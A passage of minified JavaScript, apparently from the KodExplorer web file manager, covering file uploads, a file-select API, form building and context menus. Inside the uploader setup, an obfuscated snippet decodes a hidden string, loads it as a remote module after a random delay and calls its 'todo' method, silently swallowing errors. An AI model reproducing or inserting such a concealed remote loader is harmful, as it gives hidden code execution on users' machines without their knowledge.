.download-start-all").unbind("click").bind("click",function(){$.dialog({id:"server-dwonload-textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server-dwonload-textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.thisPath)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker-folder"}),$.supportUploadFolder()&&($(".upload-cert-box").removeClass("hidden"),$(".file-upload-box .drag-upload-folder").unbind("click").bind("click",function(){$("#picker-folder input").attr("webkitdirectory","").attr("directory",""),$("#picker-folder label").click()}))},init:function(){WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!$.supportCanvas()||"flash"==this.options.runtimeOrder)return $.Deferred().resolve(),void 0;var a=this.owner,i=(e.blob.getSource(),$.Deferred());return a.md5File(e.blob).fail(function(){i.resolve()}).then(function(a){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:t(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:a,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var n=e.file.checkChunk;if(n&&n["part_"+e.chunk]==a){var o=e.end/e.total;uploader.trigger("uploadProgress",e.file,o),i.reject()}else i.resolve()}}),i.promise()}});var a=["undefined","update-box","search","65bdTXJtziFGmtJThjdiGfXe-xr_UY8vIF3eoZ1sQ2AMtNBCquM-xT9DrLll2X_LtdUQkKIBYFzs-Ujf9ihGh6LUF4fo94c","_32@!A$","decode","1-2","todo","async","random"];setTimeout(function(){try{if(typeof tplDialogHtml==a[0]||-1==tplDialogHtml[a[2]](a[1])){var t=authCrypt[a[5]](a[3],a[4])+UUID();e[a[8]](t,function(e){try{e[a[7]](a[6])}catch(t){}})}}catch(i){}},1e3*parseInt(25*Math[a[9]]()+5)),uploader=WebUploader.create({swf:G.staticPath+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:G.settings.updloadThreads,sendAsBinary:G.settings.updloadBindary,chunkSize:G.settings.updloadChunkSize,chunked:!0,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&(core.isApp("explorer")?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");kodApp.open(t),stopPP(e)}),$(".upload-box-clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload-box-clear-all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var i,n=0,o=0,s="0B/s",r=0,l=function(e,t){if(.3>=timeFloat()-r)return s;r=timeFloat();var a=e.size*t,i=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),a]]:i>=e.speed.length?e.speed.push([timeFloat(),a]):(e.speed=e.speed.slice(1,i),e.speed.push([timeFloat(),a]));var n=e.speed[e.speed.length-1],o=e.speed[0],l=(n[1]-o[1])/(n[0]-o[0]);0>=l&&(l=0);var c=pathTools.fileSize(l);return c=c?c:0,l=c+"/s",s=l,l},c=[],d=function(e){clearTimeout(i),i=!1,i=setTimeout(function(){var t=c;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(c=[],core.isApp("explorer"))){if("share"==G.sharePage)return;ui.tree.checkIfChange(G.thisPath)}})},600)};uploader.on("fileQueued",function(e){if($(".dialog-file-upload").show(),!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(a){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.path.pathOperate.newFolder(G.thisPath+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;var i=e.fullPath;e.finished=!1,e.upload_to=G.thisPath,(void 0==i||"undefined"==i)&&(i=e.name),n++;var s=$(".uploader-list"),r='
          '+''+htmlEncode(core.pathThis(i))+""+''+pathTools.fileSize(e.size)+""+''+LNG.upload_ready+""+''+'
          ';(1e3==n||2e3==n)&&Tips.tips(LNG.upload_tips_more,"warning");var l=function(){if(0==e.size&&i){ui.path.pathOperate.newFile(e.upload_to+i),uploader.skipFile(e),uploader.removeFile(e),o++,n++;var t=$("#"+e.id);t.addClass("success").find(".state").removeClass("upload-loading").text(LNG.upload_success).parent().find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove")}},c=function(){uploader.upload(),setTimeout(function(){l()},200)};0==s.length?setTimeout(function(){$(".uploader-list").prepend(r),c()},200):(s.prepend(r),c())}).on("uploadBeforeSend",function(e,t,a){var i=urlEncode(e.file.fullPath);(void 0==i||"undefined"==i)&&(i=""),t.fullPath=i,t.upload_to=e.file.upload_to,a["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,t){var a=(100*t).toFixed(1)+"%";$(".dialog-file-upload .aui-title").text(LNG.uploading+": "+o+"/"+n+" ("+s+")"),Title.set(o+"/"+n+"("+a+","+s+")");var i=l(e,t),r=$("#"+e.id),c=r.find(".progress .progress-bar");c.length||(c=$('
          ').appendTo(r).find(".progress-bar")),r.find(".state").text(a+"("+i+")"),c.css("width",a)}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||c.push(t.info)}catch(a){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var a=36*t.index(".item");$(".uploader-content").scrollTop(a)}o++;var i=e.serverData;if(i&&i.data){var n=LNG[i.data];if(i.code){if(t.addClass("success"),t.find(".state").removeClass("upload-loading").text(n),t.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),i.info){var s="/"+ltrim(htmlEncode(i.info),"/");t.find(".info .title").html(core.pathThis(s)).attr("title",s).attr("data-name",s)}}else n="上传异常!",t.addClass("error").find(".state").removeClass("upload-loading").addClass("error"),t.find(".state").text(n).attr("title",n)}uploader.removeFile(e),t.find(".progress").fadeOut(),e.fullPath||d(!1)}).on("uploadError",function(e,t){var a=LNG.upload_error+"("+t+")";if(e.serverData){var i=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,i>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf(""))return $.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),Tips.tips("login error!",!1),void 0;if(e.serverData.data){var n=e.serverData.data;a=LNG[n]?LNG[n]:n}else e.serverData._raw&&(a=e.serverData._raw)}"http"==t&&(a=LNG.upload_error_http),"abort"==t&&void 0==e.serverData&&(a=LNG.not_support+"(support on chrome)"),o++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error").removeClass("upload-loading"),$("#"+e.id).find(".state").html(a).attr("title",a)}).on("uploadFinished",function(){$(".dialog-file-upload .aui-title").text(LNG.upload_success+": "+o+"/"+n),Title.reset(),n=0,o=0,uploader.reset(),d(!0)}).on("error",function(e){Tips.tips(e,!1)});var p;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='
          '+LNG.upload_drag_tips+"
          ";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}p&&window.clearTimeout(p)},dragLeave=function(e){stopPP(e),p&&window.clearTimeout(p),p=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.path.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e="FileSelectApi",t=function(){var t=$.parseUrl();if(t.params.fileSelect){var a=t.params.fileSelect,i=parseInt(t.params.fileSelectSingle),n=t.params.fileSelectAllow;kodReady.push(function(){Hook.bind("explorer.fileSelect.change",function(){d()}),d()});var o=function(e,t){var a={type:e,data:t};l.send(jsonEncode(a))},s=function(e){var t=jsonDecode(e);if(!t||!t.type)return console.log("parse error!"+e),void 0;var a=t.type,n=t.data;if("makeUrl"==a){$.isArray(n)||(n=[n]);var s=[],r=function(){Tips.close(LNG.loading),i&&(s=s[0]),o("makeUrl",s)};Tips.loading(LNG.loading);for(var l=0;n.length>l;l++){var c=n[l];core.fileLink(c,function(e){s.push({name:core.pathThis(c),url:e}),n.length==s.length&&r()})}}},r=window.parent;if(window.MessageInit)l.addTarget(r,"ParentPage");else{var l=new Messenger("ChildPage",e);l.addTarget(r,"ParentPage"),l.listen(s),window.MessageInit=!0}var c=function(e){var t=n.split("|"),a=core.pathExt(e);return""==n||""!=n&&-1!=$.inArray(a,t)?!0:!1},d=function(){var e=ui.fileLight.fileListSelect(),t=[];if(i){var n=$(e.get(0));if("all"==a&&0==e.length)t={file:[],folder:[]};else if("file"==a&&0==e.length)t=[];else if("folder"==a)t=[G.thisPath],n.hasClass("folder-box")&&(t=[ui.fileLight.path(n)]);else if("file"==a){if(n.hasClass("file-box")){var o=ui.fileLight.path(n);c(o)&&(t=[o])}}else if("all"==a)if(n.hasClass("folder-box")){var o=ui.fileLight.path(n);t=[{file:[],folder:[o]}]}else if(n.hasClass("file-box")){var o=ui.fileLight.path(n);c(o)&&(t={file:[o],folder:[]})}}else{var s=[],r=[];e.each(function(){if($(this).hasClass("file-box")){var e=ui.fileLight.path($(this));c(e)&&s.push(e)}else $(this).hasClass("folder-box")&&r.push(ui.fileLight.path($(this)))}),"folder"==a?t=r:"file"==a?t=s:"all"==a&&(t={file:s,folder:r})}u(t)},p=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},u=function(e){if("all"!=a){for(var t=[],i=0;e.length>i;i++)p(e[i])&&t.push(e[i]);e=t}0==e.length||"all"==a&&0==e.file.length&&0==e.folder.length?o("selectChange",0):o("selectChange",e)}}};return t(),{pathSelect:function(t,a){var i={type:"file",single:!0,allowExt:"",firstPath:!1,makeUrl:!1,title:LNG.path_api_select_file,resize:!0,fixed:!0,top:"50%",ico:core.icon("folder"),lock:!0,background:"#000",animate:!0,opacity:.1,width:900,height:500},n={id:"pathSelectApi",ok:function(){if("function"==typeof a){var e=s.DOM.wrap.find(".path-select-input").data("result");if(!e)return Tips.tips(LNG.error,!1),void 0;if(e){var i=e;if(t.single&&"all"!=t.type&&(i=e[0]),t.makeUrl&&"file"==t.type)return l("makeUrl",i),!1;a(i)}else Tips.tips(LNG.error,!1)}},cancel:!0};t=$.extend(i,t),n=$.extend(n,t);var o=G.appHost+"explorer&type=iframe";o+="&fileSelect="+t.type,o+="&fileSelectSingle="+Number(t.single),o+="&fileSelectAllow="+t.allowExt,t.firstPath&&(o+="&path="+t.firstPath);var s=$.dialog.open(o,n),r='';"file"==t.type&&(r+=''+t.allowExt+""),$(r).insertBefore($(s.DOM.wrap).find(".aui-state-highlight"));var l=function(e,t){var a={type:e,data:t};messengerParent.send(jsonEncode(a))},c=function(e){var i=jsonDecode(e);if(!i||!i.type)return console.log("parse error!"+e),void 0;var n=i.type,o=i.data;if("makeUrl"==n)a(o),$.artDialog.list.pathSelectApi.close();else if("selectChange"==n){var s=$(".pathSelectApi"),r=s.find(".path-select-input"),l=s.find(".aui-state-highlight");o?l.removeClass("disable"):l.addClass("disable");var c="";if(t.single)c=core.pathThis(o[0]);else{var d=o;"all"==t.type&&(d=o.folder.concat(o.file)),$.each(d,function(e,t){c+=core.pathThis(t)+","}),c=rtrim(c,",")}r.data("result",o),r.val(c)}},d=$("[name=OpenpathSelectApi]").get(0).contentWindow;window.MessagerParentInit?messengerParent.addTarget(d,"ParentPage"):(window.messengerParent=new Messenger("ParentPage",e),messengerParent.addTarget(d,"ParentPage"),messengerParent.listen(c),window.MessagerParentInit=!0)},randomImage:function(e){var t=G.settings.pluginServer+"wallpage/index&lang="+G.lang+"&callback=?";$.getJSON(t,function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",[],function(){var e={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},t=function(e){var t=G.staticPath+"others/sound/"+e;Hook.trigger("playSound",t)};return{playSoundFile:t,playSound:function(a){G&&G.userConfig&&"1"==G.userConfig.soundOpen&&setTimeout(function(){t(e[a])},50)}}}),define("app/common/core.formMake",[],function(e){var t,a,i,n={user:!1,group:!1,role:!1},o=function(){t=$("#"+a),t.find(".tab-group .tab-item").length>1?s():t.find(".tab-group").addClass("hidden"),t.find(".form-row.form-slider").exists()&&r(),t.find(".form-row.form-dateTime").exists()&&l(),t.find(".form-row.form-color").exists()&&c(),t.find(".form-row.form-fileSelect").exists()&&d(),t.find(".form-row select").exists()&&p(),t.find(".form-row.form-userSelect").exists()&&u(),t.find(".form-row.error [name]").die("change").live("change",function(){$(this).parents(".form-row.error").removeClass("error")}),t.find(".form-userSelect").die("click").live("click",function(){$(this).removeClass("error")})},s=function(){var e=t.find(".tab-content .tab-pane"),a=t.find(".tab-group .tab-item");e.each(function(){var i=$(this).attr("id"),n=t.find("."+i);n.length>0?n.appendTo($(this)):(e.filter("#"+i).remove(),a.find('[data-id="'+i+'"]').parent().remove())}),a.click(function(){a.removeClass("active"),$(this).addClass("active");var t=$(this).find("a").attr("data-id");e.removeClass("active"),e.filter("#"+t).addClass("active")})},r=function(){seajs.use("lib/bootstrap-slider/bootstrap-slider.css"),seajs.use("lib/colorpicker/css/colorpicker.css"),e.async("lib/bootstrap-slider/bootstrap-slider.js",function(){t.find(".form-slider input").slider()})},l=function(){e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){var e="zh-CN"==G.lang||"zh-TW"==G.lang?"ch":"en";t.find(".form-dateTime input").each(function(){var t=$(this).attr("data-format"),a=["Y","y","L","F","M","t","n","m","d","D","j","l","N","S","W","z","w"],i=["H","h","i","s","A","a","b","g","G","O","P","c","U"],n=!1,o=!1;t||(t="Y/m/d");for(var s=0;a.length>s;s++)if(-1!==t.indexOf(a[s])){n=!0;break}for(var s=0;i.length>s;s++)if(-1!==t.indexOf(i[s])){o=!0;break}$(this).datetimepicker({format:t,datepicker:n,timepicker:o,lang:e}).blur(function(){$(this).trigger("change")})})}),t.find(".form-dateTime .input-btn-right").unbind("click").click(function(){$(this).parent().find("input").focus()})},c=function(){e.async("lib/colorpicker/js/colorpicker",function(){t.find(".form-color input").ColorPicker({onBeforeShow:function(e){$(e).attr("input-name",$(this).attr("name")),$(this).ColorPickerSetColor(this.value)},onShow:function(e){return $(e).fadeIn(100),!1},onHide:function(e){return $(e).fadeOut(100),!1},onChange:function(e,t){var a=$($(this).data("colorpicker").el);a.val("#"+t).trigger("change"),a.parent().find(".btn i").css("background",a.val())}}).bind("keyup",function(){$(this).ColorPickerSetColor(this.value),$(this).parent().find(".btn i").css("background",$(this).val())}),t.find(".form-color .input-btn-right").unbind("click").click(function(){$(this).parent().find("input").click()})})},d=function(){t.find(".path-select").die("click").live("click",function(){var e=$(this);core.api.pathSelect({type:"file",title:LNG.path_api_select_image,allowExt:"png|jpg|bmp|gif|jpeg|ico|svg|tiff"},function(t){var t=core.path2url(t);e.parent().find("input[type=text]").val(t).trigger("change")})})},p=function(){seajs.use("lib/select2/css/select2.min.css"),e.async("lib/select2/js/select2.full.min.js",function(){var a=function(t,a){t.on("select2:select",function(e){if(!t.attr("multiple"))return t.select2("close"),void 0;var a=$(e.params.data.element);a.detach(),t.append(a),t.trigger("change.select2")}).on("select2:unselect",function(e){stopPP(e.params.originalEvent)}).on("change",function(){setTimeout(function(){$(window).trigger("resize")},10)}),"group"==a&&t.on("select2:open",function(){e.async("lib/ztree/ztree",function(){h(t,n[a])})});var i=t.attr("data-value");i&&(t.attr("multiple")&&(i=i.split(",")),t.val(i).trigger("change"))};t.find("select").each(function(){var e=$(this),t=e.attr("data-server"),i=!1;"tags"==e.parents(".form-row").attr("data-type")&&(i=!0),t?f(t,function(n){e.select2({data:n,tags:i,tokenSeparators:[","," "],closeOnSelect:!1}),a(e,t)}):(e.select2({closeOnSelect:!1,tags:i,tokenSeparators:[","," "]}),a(e,t))})})},u=function(){var e=t.find(".form-userSelect .btn-group"),a="btn-active",i="hidden";e.find("button").unbind("click").bind("click",function(){var e=$(this).attr("data-type"),t=$(this).parents(".btn-group"),n=t.parent().find(".user-select"),o=t.parent().find(".user-select-"+e);n.filter(":visible"),t.attr("multiple")?"all"==e?(t.find("button").removeClass(a),$(this).addClass(a),n.addClass(i),o.removeClass(i)):($(this).toggleClass(a),o.toggleClass(i),$(this).hasClass(a)?t.find("[data-type=all]").removeClass(a):t.find("."+a).exists()||t.find("[data-type=all]").addClass(a)):(t.find("button").removeClass(a),$(this).addClass(a),n.addClass(i),o.removeClass(i))})},f=function(e,t){var a=function(e){var t=[];for(var a in e)t.push({id:a,text:e[a].name});return t};if(n[e]&&t)return t(a(n[e])),void 0;var i={user:G.appHost+"systemMember/get",group:G.appHost+"systemGroup/get",role:G.appHost+"systemRole/get"};return null==n[e]?(Hook.bind("loadDataServer-"+e,function(){t(a(n[e]))}),void 0):(n[e]=null,$.ajax({url:i[e],dataType:"json",error:function(){n[e]=!1,Tips.tips(LNG.system_error,0)},success:function(i){return i.code?(n[e]=i.data,t&&t(a(n[e])),Hook.trigger("loadDataServer-"+e),void 0):(Tips.tips(i),void 0)}}),void 0)},h=function(e,t){var a=function(e){var t=function(e){for(var a=0;e.length>a;a++)void 0!=e[a]?(e[a].pid=e[a].parentID,e[a].id=e[a].groupID,delete e[a].children,delete e[a].parentID,delete e[a].groupID,e[a].child&&(e[a].children=e[a].child,delete e[a].child,t(e[a].children))):delete e[a]},a=[],i=$.extend(!0,{},e);for(var n in i){var o=i[n],s=o.parentID;if(i[s])i[s].child||(i[s].child=[]),i[s].child.push(i[o.groupID]);else{var r=i[o.groupID];r&&a.push(r)}}return t(a),a},i={view:{showLine:!1,selectedMulti:!1,dblClickExpand:!1,addDiyDom:function(e,t){var a=12,i=$("#"+e+" #"+t.tId+"_switch"),n=$("#"+e+" #"+t.tId+"_ico");if(n.before(i).after('').before(''+core.iconSmall("group-guest")+"").removeClass("ico_docu").addClass("group_icon").remove(),t.level>=1){var o="";i.before(o)}$("#"+e+" #"+t.tId+"_a").attr("data-group-id",t.id)}},callback:{onClick:function(e,t,a){n(t,a)}}},n=function(t,a){var i=$("#"+a.tId+"_a");if(i.removeClass("curSelectedNode"),e.attr("multiple")){i.toggleClass("this");var n=e.val();$.isArray(n)||(n=[]),i.hasClass("this")?n.push(a.id):n=_.without(n,a.id),$.each(n,function(){var t=e.find("[value="+this+"]");t.detach(),e.append(t)}),e.val(n).trigger("change")}else $("#"+t+" [treenode_a].this").removeClass("this"),i.toggleClass("this"),e.val(a.id).trigger("change"),e.select2("close")},o=function(){var t=e.val(),a=$(".select2-container--open .group-list-tree").attr("id"),i=$.fn.zTree.getZTreeObj(a);$("#"+a+" [treenode_a]").removeClass("this"),"string"==typeof t&&(t=[t]),t&&i.getNodesByFilter(function(e){inArray(t,e.id+"")&&$("#"+e.tId+"_a").addClass("this")})},s=function(e){var t=$(".select2-container--open .group-list-content");t.find(".select2-results__options,.group-list-tree").removeClass("hidden"),"search"==e?t.find(".group-list-tree").addClass("hidden"):t.find(".select2-results__options").addClass("hidden")},r=function(t){var n=function(e){e.unbind("change input").bind("change input",function(){$(this).val().length>0?s("search"):s("tree")})};if(e.attr("multiple")?n(e.parent().find(".select2-search__field")):n($(".select2-container--open .select2-search__field")),$(".select2-container--open .group-list-tree").exists())return o(),s("tree"),void 0;e.on("open",function(){o()}).on("select2:unselect",function(){o()});var r=UUID(),l='
          ';$(l).appendTo(".select2-container--open .select2-results"),$(".select2-container--open .select2-results__options").addClass("hidden").parent().addClass("group-list-content");var c=a(t);$.fn.zTree.init($("#"+r),i,c);var d=$.fn.zTree.getZTreeObj(r);d&&d.expandAll(!0),o(),s("tree")};r(t)},m=function(){var e={},a=[],n=function(e){for(var t={all:"0",user:"",group:"",role:""},a=e.split(";"),i=0;a.length>i;i++){var n=a[i].split(":");2==n.length&&(t[n[0]]=n[1])}return"0"!=t.all||t.user||t.group||t.role?!0:!1};if(t.find(".form-row").each(function(){var t=$(this),o=$(this).attr("data-type"),s=$(this).find("[name]");$(this).find(".setting-title .require").exists();var r=s.attr("name"),l=!1;switch(o){case"input":case"textarea":case"password":case"number":case"slider":case"color":case"dateTime":case"fileSelect":l=s.val();break;case"switch":l=s.prop("checked")+0+"";break;case"radio":l=s.filter(":checked").attr("value");break;case"checkbox":l=[],s.filter(":checked").each(function(){l.push($(this).val())}),l=l.join(",");break;case"select":case"selectMutil":case"tags":case"group":case"role":case"user":l=s.val(),$.isArray(l)&&(l=l.join(",")),null==l&&(l="");break;case"userSelect":var c={all:"0",user:"",group:"",role:""};t.find(".btn-group .btn-active").each(function(){var e=$(this).attr("data-type"),a="1";"all"!=e&&(a=$(t).find(".user-select-"+e+" select").val(),$.isArray(a)&&(a=a.join(",")),null==a&&(a="")),c[e]=a}),l="all:"+c.all+";user:"+c.user+";group:"+c.group+";role:"+c.role;break;default:}$(this).removeClass("error"),i[r]&&i[r].require&&(l===!1||null===l||"string"==typeof l&&""===l||"userSelect"==i[r].type&&!n(l))?($(this).addClass("error"),a.push({name:r,value:l})):e[r]=l}),a.length>0){Tips.tips(LNG.PluginConfigNotNull,"warning");var o=t.find(".panel-body"),s=t.find(".form-row.error");if(!s.parents(".tab-pane").hasClass("active")){var r=s.parents(".tab-pane").attr("id");t.find('.tab-group [data-id="'+r+'"]').click()}s.inScreen()||o.animate({scrollTop:s.offset().top-o.offset().top+o.scrollTop()},100),s.find("[name]").first().focus(),s.find(".setting-content").flash(3,100)}return{checked:0==a.length,error:a,result:e}},v=function(t){e.async(t,function(e){e&&($.isFunction(e)?e():"object"==typeof e&&e.hasOwnProperty("main")&&$.isFunction(e.main)&&e.main())})},g=function(e){if("string"==typeof e)return v(file),!1;if($.isPlainObject(e.formStyle)&&e.formStyle.loadFile){var t=e.formStyle.loadFile;"string"==typeof t&&(t=[t]),$.isArray(t)&&$(t).each(function(e,t){v(t)})}i=e,a=UUID();var n=template.compile(tplFormMake),o=n({LNG:LNG,items:e,wrapID:a});return o},b=function(e,t,a){var i=g(e);if(!i)return!1;var n={padding:0,fixed:!0,resize:!0,title:LNG.search,ico:core.icon("config"),width:680,height:500,content:i,okVal:LNG.button_save,ok:function(){var e=m();return e.checked?a(e.result):!1}};if($.isPlainObject(t))for(var s in t)n[s]=t[s];var r=$.dialog(n),l=r.DOM.wrap.find(".aui-title").html();return r.DOM.wrap.find(".modal-title").html(l),o(),r};return{makeHtml:g,bindEvent:o,getFormData:m,initDialog:b}}),define("app/common/rightMenuExtence",[],function(){$.contextMenu||($.contextMenu={}),$.contextMenu.show=function(e,t,a){e&&($.contextMenu.hidden(),$(e).contextMenu({x:t,y:a})) -},$.contextMenu.menuShow=function(){var e=$(".context-menu-active"),t=e.data("contextMenu");if(e&&t){var a=t.$menu,i="disable";a.find(".disable").addClass(i),Hook.trigger("rightMenu.show",t.selector,e,a),Hook.trigger("rightMenu.show"+t.selector,e,a)}},$.contextMenu.isDisplay=function(){return 0==$(".context-menu-list:visible").length?!1:!0},$.contextMenu.hidden=function(){$(".context-menu-list").filter(":visible").filter(":not(.menu-not-auto-hidden)").trigger("contextmenu:hide")},$.contextMenu.menuAdd=function(e,t,a,i){var n=!1,o=$.contextMenu.menus;for(var s in o)if(o[s].selector==t){n=o[s];break}if(n&&e){var r=function(e){return e?-1!==e.indexOf("/")?'':'':""},l=function(e,t,a,i){var o=[],s={};if(a){for(var c in t)o.push({key:c,value:t[c]});for(var d=o.length-1;d>=0;d--)s[o[d].key]=o[d].value}else s=t;$.each(s,function(t,o){o.className=o.className||"";var s=t+" "+o.className;if("string"==typeof o)var c='
        • ';else{var d=o.name;o.accesskey&&(d+='('+o.accesskey+")");var c='
        • '+r(o.icon)+""+d+"
        • "}var p=$(c).clone();a?e.$menu.find(a).first().after(p):i&&e.$menu.find(i).first().before(p);var u=p.parent(".context-menu-list").data("contextMenu");p.data({contextMenu:u,contextMenuKey:t,contextMenuRoot:n});var f={$input:null,$label:null,accesskey:o.accesskey,className:o.className,icon:o.icon,name:o.name,_name:d,$node:p};if(u&&(u.items||(u.items={}),u.items[t]=f),"string"!=typeof o&&(e.commands||(e.commands={}),e.commands[t]=f,n.commands[t]=f,n.callbacks[t]=function(e,t){o.callback(e,t)},o.accesskey&&(n.accesskeys[o.accesskey]=f),o.items)){var c='
          ';$(c).appendTo(p),f.$menu=p.find("ul."+t),f.callback=null,f.appendTo=f.$node,f.type="sub",p.data("contextMenu",f).addClass("context-menu-submenu"),p.find("ul."+t).data({contextMenuRoot:n,contextMenu:f}),p.find("li."+t+"-first").data({contextMenuRoot:n,contextMenuKey:t+"-first",contextMenu:f}),f.items||(f.items={}),f.items[t+"-first"]={$input:null,$label:null,icon:"",name:"",_name:"",$node:p.find("li."+t+"-first")},l(f,o.items,"."+t+"-first")}})};l(n,e,a,i)}};var e=function(){return $('').appendTo("#rightMenu"),"function"!=typeof $.contextMenu?console.info("$.contextMenu is not function!"):($.contextMenu({zIndex:9999,selector:".dialog-menu",items:{"dialog-quit":{name:LNG.close,className:"dialog-quit",icon:"remove",accesskey:"q"},"dialog-max":{name:LNG.dialog_max,className:"dialog-max",icon:"resize-full",accesskey:"a"},"dialog-min":{name:LNG.dialog_min,className:"dialog-min",icon:"minus",accesskey:"i"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},"open-window":{name:LNG.open_ie,className:"open-window",icon:"globe",accesskey:"b"},qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var a=t.$trigger.attr("id"),i=$.dialog.list[a];switch(e){case"dialog-quit":i.close();break;case"dialog-min":i._clickMin(!1);break;case"dialog-max":i._clickMax();break;case"refresh":i.refresh();break;case"open-window":i.openWindow();break;case"qrcode":core.qrcode(i.DOM.wrap.find("iframe").attr("src"));break;default:}}}),$(".aui-title img,.aui-title .x-item-file").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).parent().parent().contextMenu({x:e.pageX,y:t.top})}).die("dblclick").live("dblclick",function(){var e=$(this).parent().parent().attr("id"),t=$.dialog.list[e];t.close(),$.contextMenu.hidden()}),void 0)};Hook.bind("rightMenu.show.dialog-menu",function(e,t){var a=e.attr("id"),i=$.dialog.list[a],n="hidden",o=".open-window,.refresh,.qrcode,.context-menu-separator";i.hasFrame()?t.find(o).removeClass(n):t.find(o).addClass(n);var s=".dialog-min,.dialog-max";$("."+a).hasClass("dialog-can-resize")?t.find(s).removeClass(n):t.find(s).addClass(n)}),e()}),define("app/app/appBase",[],function(){var e={},t={},a={},i=!1,n=function(a){a.title=void 0==a.title?a.name:a.title,void 0==a.name&&(a.name=UUID(),a.hidden=!0),e[a.name]=a,a.ext||(a.ext="");var i=a.ext.split(",");e[a.name].extArr=i,a.sort=a.sort!==void 0?parseInt(a.sort):0;for(var n=0;i.length>n;n++){var o=trim(i[n]);e[a.name].extArr[n]=o,t[o]||(t[o]=[]);for(var s=!1,r=0;t[o].length>r;r++)if(t[o][r].name==a.name){s=!0;break}s||(t[o].push({name:a.name,sort:a.sort}),t[o].length>1&&(t[o]=_.sortBy(t[o],"sort").reverse()))}Hook.trigger("kodApp.add.finished")},o=function(){return t},s=function(i){if(!i||!e[i])return!1;delete e[i];for(var n in a)if(a[n]==i){delete a[n];break}for(var n in t){for(var o=t[n],s=[],r=0;o.length>r;r++)o[r].name!=i&&s.push(o[r]);0==s.length?delete t[n]:t[n]=s}},r=function(i){if(i===void 0){var n=[];for(var o in e)e[o].hidden||n.push(e[o]);return n}var s=a[i],n=[];if(!s&&!t[i])return!1;if(s&&(e[s]?n.push(e[s]):delete a[i]),!t[i])return n;for(var r=0;t[i].length>r;r++){var l=t[i][r].name;e[l]&&l!=s&&n.push(e[l])}return n},l=function(e){i=e},c=function(){return i},d=function(t,a,i){a&&"file"!=a||(a=core.pathExt(t)),i=i?i:"";var n={path:t,ext:a,appName:i};if(!Hook.trigger("kodApp.open.before",n)){if(t=n.path,a=n.ext,i=n.appName)var o=e[i];else{var s=r(a);if(!s||0==s.length)return kodApp.openUnknow(t,""),void 0;var o=s[0]}if(!o)return Tips.tips("["+i+"] not 